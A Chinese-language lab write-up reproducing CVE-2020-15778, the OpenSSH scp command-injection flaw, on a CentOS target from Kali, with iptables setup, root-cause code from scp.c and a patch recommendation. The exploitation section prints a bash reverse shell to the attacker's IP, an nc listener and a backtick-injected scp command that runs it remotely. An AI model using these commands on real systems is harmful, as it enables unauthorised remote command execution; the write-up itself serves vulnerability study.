CVE-2020-15778漏洞復現學習
作者:ch4nge
漏洞名稱:OpenSSH 命令注入漏洞(CVE-2020-15778)
等級:高危
類型:命令執行
影響版本:OpenSSH <= 8.3p1
利用難度:簡單
漏洞介紹:漏洞公開披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻擊者可以利用此漏洞執行任意命令。
1. scp命令
簡單來說就是A這里執行scp命令,將A電腦里的文件傳輸到B電腦(linux系統)
命令格式
scp [參數] [原路徑] [目標路徑]
2. 模擬環境搭建
環境效果:不可以ssh連接,可以使用scp
看到大佬說有兩種方式,這里使用iptables策略搭建
參考https://www.cnblogs.com/hana-alice/p/10097357.html
靶機環境:CentOS7,ip:192.168.1.135
滲透機環境:Kali 2020,ip:192.168.1.160
1. 查看ssh版本(CentOS)=7.4p1
2.正常情況下ssh和scp命令執行情況(Kali)
3.使用iptables策略搭建環境,禁用ssh登錄,只保留scp(CentOS)
(1)安裝iptables
yum install -y iptables
(2)安裝iptables-services
yum install iptables-services
(3)關閉防火牆
CentOS默認自帶firewalld
停止firewalld服務
systemctl stop firewalld
禁用firewalld服務
systemctl mask firewalld
(4)查看現有規則
iptables -L -vn
iptables -F是清空默認規則
iptables -L -n --line-number 顯示規則和相對應的編號
(5)設置策略
命令:
service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number
4. 測試ssh與scp在已設置iptables策略下的使用情況
scp功能正常使用,但是ssh在輸入密碼后,無任何回響,無法連接,證明iptables策略成功有效。
3. scp命令注入漏洞利用
1. 在kali里面新建1.sh,寫入反彈shell的bash命令
bash -i >& /dev/tcp/192.168.1.160/6666 0>&1
2.在kali監聽6666端口
nc -lvp 6666
或者使用revshellgen
3. 使用scp命令傳輸文件到CentOS的/tmp目錄
scp 1.sh root@192.168.1.135:/tmp/1.sh
4. 命令執行,運行1.sh
scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'
成功反彈shell,實驗結束!
4. 漏洞分析
if (remin == -1) {
xasprintf(&bp, "%s -t %s%s", cmd,
*targ == '-' ? "-- " : "", targ);
if (do_cmd(thost, tuser, tport, bp, &remin,
&remout) < 0)
exit(1);
if (response() < 0)
exit(1);
free(bp);
}
當執行本地scp命令時,scp不會檢查、過濾和清除文件名。這使得攻擊者執行帶有反引號的有效scp命令時,本地shell還將執行反引號中的命令。
5. 修復建議
補丁/升級
總結:此漏洞局限性很大,需要ssh的密碼。。。通過這次操作收獲良多,有問題的地方懇請指正。漏洞無處不在~好好學習!努力!奮斗!
其他:
參考:
https://www.shangyexinzhi.com/article/2244053.html
https://my.oschina.net/u/4593034/blog/4666815
iptables策略:https://www.cnblogs.com/hana-alice/p/10097357.html
SCP的代碼:https://github.com/openssh/openssh-portable/blob/master/scp.c